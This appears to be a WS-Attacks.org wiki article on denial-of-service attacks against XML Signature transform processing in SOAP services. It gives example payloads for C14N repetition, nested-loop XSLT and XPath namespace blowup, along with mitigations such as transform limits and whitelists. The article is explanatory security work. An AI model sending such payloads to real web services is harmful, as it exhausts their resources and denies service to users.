XML Signature – Transformation DOS

From WS-Attacks.org
(Redirected from XML Signature - Xpath DOS)
Jump to: navigation, search

Contents

Attack description

During the signature creation process in a SOAP message, various steps are processed[1]. One of these steps is the transformation of the data that is pointed to by the <Reference> element. Usually the Transform operation aims at selecting just a subset of the referenced data. However the XML Signature specification doesn't limit the number of transforms nor does it limit the type of transforms.

This could be used by an attacker to cause a denial of service.


Attack subtypes

Various different attack subtypes exist:

  • XML Signature - C14N DOS
    Usually the referenced data is canonicalized using the XML C14N canonicalization algorithm[2]. Lets assume, that instead of applying just a single simple transformation to the referenced data, an attacker applies 10,000 C14N transforms to the referenced data. Since C14N transformations are extremely resource intensive all system resources can be exhausted.

  • XML Signature - XSLT DOS
    Another transform that is allowed by XML Signature specification are XSLT transforms. XSLT (Extensible Stylesheet Language Transformations) is an independent powerful language to transform XML documents from one form to another. XSLT is extremely powerful Turing-complete language which allows for complex transforms[3]. This power can be used by an attacker to create transforms that overwhelm all system resources and cause a denial of service.

  • XML Signature - XPath DOS
    XPath transforms are another transform method. Usually XPath is used as a quick way to select a subset of the referenced element. Since XPath transformations are powerful, they can get misused by an attacker to cause a denial of service.

Prerequisites for attack

In order for this attack to work the attacker has to have knowledge about the following things:

  1. Attacker knows endpoint of web service. otherwise he is not able to reach the web service.
  2. Attacker knows that the web web service processes the "signature" element. If the web service doesn't "expect" a signed part, it just discards the <signedinfo> element and the attack doesn't work.
  3. Attacker can reach endpoint from its location. Access to the attacked web service is required. If the web service is only available to users within a certain network of a company, the attack is limited.


Graphical representation of attack

AttackedComponent Signature.png

  • Red = attacked web service component
  • Black = location of attacker
  • Blue = web service component not directly involved in attack.



Attack example

The example in listing 1 shows a SOAP message with a signature containing 10,000 C14N transforms. (Modified version of the example taken from [4])

<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Header>
    <SOAP-SEC:Signature
      xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
      SOAP-ENV:actor="some-URI"
      SOAP-ENV:mustUnderstand="1">
      <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
          <ds:CanonicalizationMethod   
            Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">
          </ds:CanonicalizationMethod>
          <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>
          <ds:Reference URI="#Body">
            <ds:Transforms>
              <ds:Transform Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026"/>
            </ds:Transforms>
            <!-- ... -->
            <!-- Transform repeated for 9,999 times -->
            <!-- ... -->
            <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
            <ds:DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</ds:DigestValue>
          </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>MC0CFFrVLtRlk=...</ds:SignatureValue>
      </ds:Signature>
    </SOAP-SEC:Signature>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body 
    xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
    SOAP-SEC:id="Body">
    <m:GetLastTradePrice xmlns:m="some-URI">
      <m:symbol>IBM</m:symbol>
    </m:GetLastTradePrice>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Listing 1: SOAP message with "XML Signature - C14N DOS" attack


Listing 2 shows an example with a malicious XSLT transform that causes a denial of service[5]. "The following XSLT transform contains 4 levels of nested loops, and for each loop it iterates over all the nodes of the document. So if the original document has 100 elements, this would take 100^4 = 100 million operations. A malicious message could include this transform and cause an application server to spend hours processing it."

<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Header>
    <SOAP-SEC:Signature
      xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
      SOAP-ENV:actor="some-URI"
      SOAP-ENV:mustUnderstand="1">
      <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
          <ds:CanonicalizationMethod   
            Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">
          </ds:CanonicalizationMethod>
          <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>
          <ds:Reference URI="#Body">
            <!-- ... -->
            <!-- Start malicious XSLT transform -->
            <!-- ... -->
            <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
              <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
               <xsl:template match="/">
                <xsl:for-each select="//. | //@*">
                  <xsl:for-each select="//. | //@*">
                   <xsl:for-each select="//. | //@*">
                     <foo/>
                   <xsl:for-each>
                <xsl:for-each>
               <xsl:for-each>
              </xsl:stylesheet>
            <ds:Transform> 
            <!-- ... -->
            <!-- End malicious XSLT transform -->
            <!-- ... -->
            <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
            <ds:DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</ds:DigestValue>
          </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>MC0CFFrVLtRlk=...</ds:SignatureValue>
      </ds:Signature>
    </SOAP-SEC:Signature>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body 
    xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
    SOAP-SEC:id="Body">
    <m:GetLastTradePrice xmlns:m="some-URI">
      <m:symbol>IBM</m:symbol>
    </m:GetLastTradePrice>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Listing 2: SOAP message with "XML Signature - XSLT DOS" attack


Listing 3 shows an example with a malicious XPath transform that causes a denial of service[6] "The following XPath Transform has an expression that simply counts all the nodes in the document, but it is embedded in a special document that has 100 namespaces (ns0 to ns99) and a 100 <e2> elements. The XPath model expects namespace nodes for each in-scope namespace to be attached to each element, and since in this special document all 100 namespaces are in scope for each of the 100 elements, the document ends up having 100x100 = 10,000 NamespaceNodes. Now in an XPath Filtering transform, the XPath expression is evaluated for every node in the document. So it takes 10,000 x 10,000 = 100 million operations to evaluate this document."

<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Header>
    <SOAP-SEC:Signature
      xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
      SOAP-ENV:actor="some-URI"
      SOAP-ENV:mustUnderstand="1">
      <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
          <ds:CanonicalizationMethod   
            Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">
          </ds:CanonicalizationMethod>
          <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>
          <ds:Reference URI="#Body">
            <!-- ... -->
            <!-- Start malicious Xpath transform -->
            <!-- ... -->
            <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xpath-19991116">
               <ds:XPath>
                  count(//. | //@* | //namespace::*)
               </ds:XPath>
            </ds:Transform>
            <!-- ... -->
            <!-- End malicious Xpath transform -->
            <!-- ... -->
            <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
            <ds:DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</ds:DigestValue>
          </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>MC0CFFrVLtRlk=...</ds:SignatureValue>
      </ds:Signature>
    </SOAP-SEC:Signature>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body 
    xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
    SOAP-SEC:id="Body">
      <!-- ... -->
      <!-- special document body as described above -->
      <!-- ... -->     
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Listing 3: SOAP message with "XML Signature - XPath DOS" attack


Attack mitigation / countermeasures

In order to fully eliminate the attack, an application should have tight restrictions on the allowed transforms. Generally an upper limit on the number of transforms should be defined to defend against the XML Signature - C14N DOS attack.

In order to stop the XML Signature - XSLT DOS attack and the XML Signature - Xpath DOS attack, XSLT- and Xpath transforms should not be allowed. However if they are required make sure to accept signatures with these transforms only from trusted sources since it is unlikely that they will mount an attack.

Another countermeasure is the creation of a whitelist of allowed transforms. If a transform doesn't match it is discarded.


Attack categorisation

Categorisation by violated security objective

The attack aims at exhausting the system resources, therefore it violates the security objective Availability.


Categorisation by number of involved parties


Categorisation by attacked component in web service architecture


Categorisation by attack spreading


References

  1. Frederick Hirsch and Pratik Datta. Xml signature best practices. http://www.w3.org/TR/2009/WD-xmldsig-bestpractices-20090226/, 2010. Accessed 01 July 2010.
  2. Hill. A taxonomy of attacks against xml digital signatures & encryption.
Personal tools